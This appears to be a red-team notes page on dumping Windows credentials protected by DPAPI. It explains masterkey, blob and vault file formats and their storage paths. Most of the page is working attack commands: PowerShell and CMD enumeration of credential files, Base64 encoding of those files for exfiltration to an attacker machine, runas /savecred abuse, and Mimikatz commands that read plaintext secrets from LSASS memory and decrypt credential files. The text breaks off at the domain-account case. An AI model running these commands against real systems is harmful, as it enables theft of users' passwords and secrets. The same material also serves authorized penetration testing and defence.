PRIMARY CATEGORY → WINDOWS PRIVESC  •  WINDOWS CREDENTIALS DUMPING

DPAPI → Windows Data Protection API

It implements a Symmetric Cypher to encrypt credentials before store them here

These credentials are stored in the form of Blobs or VCRD files

The Windows Credential Manager is the API/Interface where a user can view as entries the information related to the data contained within the Blobs and VCRD files

Therefore, the following elements stand out →

Masterkey

System File Attribute Enabled

Format (GUID - 256 Bits) → 36 Hex Chars e.g. cc6eb538-28f1-4ab4-adf2-f5594e88f0b2

Symmetric Encryption Key randomly generated the first time a user logs in to a system

Usually, there is one per Logon Session i.e., one per user, at least until the user’s password is changed

This masterkey is used by the Data Protection API (DPAPI) to encrypt data such as →

  • Blobs
  • .VPOL Files
  • Credentials (Chrome, OneDrive…)

In turn, this masterkey is also stored encrypted

According to the type of user, domain or local account, the key used to encrypt the masterkey differs →

Local User

Masterkey encrypted using a key derived from the User’s password by applying a PBKDF2 with SHA1 or SHA512, depending on the version of the Windows System

Domain User

Masterkey encrypted using the Backup Key generated by the DC

Storage Path
%APPDATA%\Microsoft\Protect
Credential File

System File Attribute enabled

BLOB

Format → 32 Hex Chars e.g. 85E671988F9A2D1981A4B6791F9A4EE8

This Binary Long Object contains the encrypted user credentials in a binary format

It is directly encrypted by the Data Protection API (DPAPI) using the User’s masterkey

This type of file is not part of the modern Windows Credential Locker (Windows Vault)

This is the classic storage method of storing the user’s secrets → Credential Blob encrypted by DPAPI

  • Storage Path 📦
%APPDATA%\Microsoft\Credentials
%LOCALAPPDATA%\Microsoft\Credentials
Vault Credential Record - VCRD

Format → 40 Hex Chars followed by the .VCRD Extension e.g. EAF37DD1613D6D42430ADCF4345504EF6A30EF4F.vcrd

It also contains the encrypted user secrets

The .VCRD file is encrypted with the VEK (Vault Encryption Key) of the .VPOL file

And the .VPOL file, containing the VEK, is encrypted by the Data Protection API (DPAPI) using the User’s masterkey

I.e., there is a Double Encryption →

  • .VCRD File encrypted with .VPOL’s VEK

  • .VPOL File encrypted by DPAPI with the User’s masterkey

This type of file, along with .VPOL, is part of the modern Windows Credential Locker (Windows Vault)

  • Storage Path 📦
%APPDATA%\Microsoft\Vault
%LOCALAPPDATA%\Microsoft\Vault

Masterkeys & Credentials Files Storage Path

These object are usually stored in the following paths →

Masterkeys
%APPDATA%\Microsoft\Protect
Credential Files
Blobs
%APPDATA%\Microsoft\Credentials
%LOCALAPPDATA%\Microsoft\Credentials
VCRD Files

Related to Windows Credential Lockers (Windows Vaults)

%APPDATA%\Microsoft\Vault
%LOCALAPPDATA%\Microsoft\Vault

List Stored Credentials

Credential Manager

GUI needed

Logon Type → 2 (Interactive) or 10 (RemoteInteractive)

control.exe /name Microsoft.CredentialManager

Zoom In

cmdkey.exe

Logon Type → 2, 3 (Network) or 10

cmdkey.exe /list

Run a Command with Stored Credentials

Runas.exe

To Run any program with the above stored credentials →

A Logon Session Type 2 (Interactive) is created with runas.exe if the /netonly parameter is not specified

runas.exe /savecred /user:<USER> <COMMAND>
.lnk Files Enumeration

Usually, runas.exe is used within .lnk files (i.e. Shortcuts)

To enumerate all the accesible .lnk files in the Target →

Target
Get-ChildItem -Path "C:\" -Recurse -Force -Filter *.lnk |
ForEach-Object {
	$Match = Get-Content -Path $_.FullName |
	Select-String -Pattern '.*runas.*'
	if ($Match){
		Write-Output "`nFile: $($_.FullName)`n`n $($Match)"
	}
}
.lnk Information Extraction
$WScript = New-Object -COMObject WScript.Shell
$SC = Get-Item '<FILE>'
$WScript.CreateShortcut($SC.FullName)

Masterkeys & Credentials Files Enumeration

Powershell

Declare an Array with the above Paths as its elements

$Paths = @(
	"C:\Users\<USER>\AppData\Local\Microsoft\Vault",
	"C:\Users\<USER>\AppData\Local\Microsoft\Protect",
	"C:\Users\<USER>\AppData\Local\Microsoft\Credentials",
	"C:\Users\<USER>\AppData\Roaming\Microsoft\Vault",
	"C:\Users\<USER>\AppData\Roaming\Microsoft\Protect",
	"C:\Users\<USER>\Appdata\Roaming\Microsoft\Credentials"
)

Recursive search and Filtering through these elements

$Paths | % {
	Get-ChildItem -Path $_ -Recurse -Force -ErrorAction SilentlyContinue |
	Where-Object { 
		$_.Attributes -Match 'System' -and -not ($_.PSisContainer)
	} | % { $_.FullName }
}

PS v3.0 >

$Paths | ForEach-Object {
	Get-ChildItem -Path $PSItem -Recurse -Force -Attributes !Directory,System -ErrorAction SilentlyContinue | % { $_.FullName }
}

Or All-In-One directly →

Get-ChildItem -Path "C:\Users\<USER>\Appdata\Local\Microsoft", "C:\Users\<USER>\Appdata\Roaming\Microsoft" -Recurse -Force -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '(vault|credentials|protect)$' } | % {
		Get-ChildItem -Path $_.FullName -Recurse -Force -ErrorAction SilentlyContinue |
		Where-Object {
			$_.Attributes -match 'System' -and -not $($_.PSIsContainer)
			} | % { "`n$($_.FullName)" }
		}

PS v3.0 >

Get-ChildItem -Path "C:\Users\<USER>\Appdata\Local\Microsoft", "C:\Users\<USER>\Appdata\Roaming\Microsoft" -Directory -Recurse -Force -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '(vault|credentials|protect)$' } |
% {
	Get-ChildItem -Path $_.FullName -Recurse -Force -ErrorAction SilentlyContinue -Attributes !Directory,System | % { $_.FullName }
}
CMD
cmd /c "dir /S /AS C:\Users\<USER>\AppData\Local\Microsoft\Vault & dir /S /AS C:\Users\<USER>\AppData\Local\Microsoft\Credentials & dir /S /AS C:\Users\<USER>\AppData\Local\Microsoft\Protect & dir /S /AS C:\Users\<USER>\AppData\Roaming\Microsoft\Vault & dir /S /AS C:\Users\<USER>\AppData\Roaming\Microsoft\Credentials & dir /S /AS C:\Users\<USER>\AppData\Roaming\Microsoft\Protect"

Masterkeys and Credentials Files Exfiltration

Base64

From the Target 🎯

To convert to Base64 a File Content

Powershell (.NET)
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("<FILE_FULL_PATH>"))
Certutil.exe
certutil.exe -encode <INPUT_FILE> <OUTPUT_FILE>

Therefore, to Convert the Content of all the Masterkeys and File Credentials to Base64

Get-ChildItem -Path "C:\Users\<USER>\Appdata\Local\Microsoft", "C:\Users\<USER>\Appdata\Roaming\Microsoft"  -Recurse -Force -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '(vault|credentials|protect)$' } |
% {
	Get-ChildItem -Path $_.FullName -Recurse -Force -ErrorAction SilentlyContinue |
	Where-Object {
		$_.Attributes -match 'System' -and -not $($_.PSIsContainer)
	} |
	% {
		Write-Output "`nFile -> $($_.FullName)`n`n Base64 Content -> `n`n$([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($_.FullName)))"
	}
}

From the Attacker (Windows Machine) 🗡️

Decode those Base64 Strings and dump the content into a files with the same name as above

Powershell (.NET)

To decode a Base64 String and dump its content into a file

[System.IO.File]::WriteAllBytes('<FILE_NAME>', [System.Convert]::FromBase64String("<BASE64_STRING>"))

Thus, to Decode the Content of the Masterkeys and Credentials Files from Base64 to Bytes to a file →

Masterkey
[System.IO.File]::WriteAllBytes('0792c32e-48a5-4fe3-8b43-d93d64590580', [System.Convert]::FromBase64String("<BASE64_STRING>"))
Credential File
[System.IO.File]::WriteAllBytes('51AB168BE4BDB3A603DADE4F8CA81290', [System.Convert]::FromBase64String("<BASE64_STRING>"))

Exporting Windows Vault to .CRD Files

Rundll32.exe
rundll32 keymgr.dll,KRShowKeyMgr

Zoom In


Data Extraction with Mimikatz.exe

Reference I    •    Reference II

The steps below follow the manual process of decrypting Users’ secrets stored in the form of Blobs or stored in the Windows Credential Locker, both on Disk

But, before proceed with them, if we log into any system as a Local Admin Account and we are able to launch a process with a High IL (Full Access Token), we can extract the Users’ secrets stored in the LSASS.exe’s memory space

Just proceed as follows →

.\mimikatz.exe 'privilege::debug' 'token::elevate' 'sekurlsa::credman' exit
Local Admin Account

Masterkey encrypted with a Key derived from the User Password using PBKDF2-HMAC-SHA1 or SHA512

If an attacker logs on system as a Local Admin User, it is not necessary to decrypt the Masterkey by providing the User’s password

I.e., As a Local Admin User, a process launched with a Full Access Token has the required privileges in order to be able to access the LSASS.exe space memory

Therefore, we could proceed as follows →

Plain Text Masterkey Extraction

RunAsPPL and Credential Guard disabled

To extract Plain Masterkeys of all users with an active logon session on the system →

.\mimikatz.exe 'privilege::debug' 'token::elevate' 'sekurlsa::dpapi' exit
Plain Text Credential Extraction
.\mimikatz.exe 'dpapi::cred /in:<CRED_FILE_PATH> /masterkey:<PLAIN_MASTERKEY_VALUE> /sid:<USER_SID>' exit
Local User Account - Non Privileged

Masterkey encrypted with a Key derived from the User Password using PBKDF2-HMAC-SHA1 or SHA512

GUID Masterkey Extraction

To extract a certain amount of information, such as the Masterkey GUID, related to the Credential File passed to Mimikatz as input →

.\mimikatz.exe 'dpapi::cred /in:<CRED_FILE_PATH> /sid:<USER_SID>' exit
Plain Text Masterkey Extraction

To extract the Plain Masterkey (Hex Value) proceed as follows →

.\mimikatz.exe 'dpapi::masterkey /in:<MASTERKEY_PATH> /sid:<USER_SID> /password:<USER_PASSWORD>' exit
Plain Text Credential Extraction

Once the Masterkey is extracted in plain text, simply use it to decrypt the Ciphered Credential File and obtain the stored credential in plain text

.\mimikatz.exe 'dpapi::cred /in:<CRED_FILE_PATH> /masterkey:<PLAIN_MASTERKEY_VALUE> /sid:<USER_SID>' exit
Domain User Account

Masterkey encrypted with the DC’s Backup Key

Since the User’s Masterkey is not encrypted with its password, but with the Domai n Backup Key, is necessary to obtain it first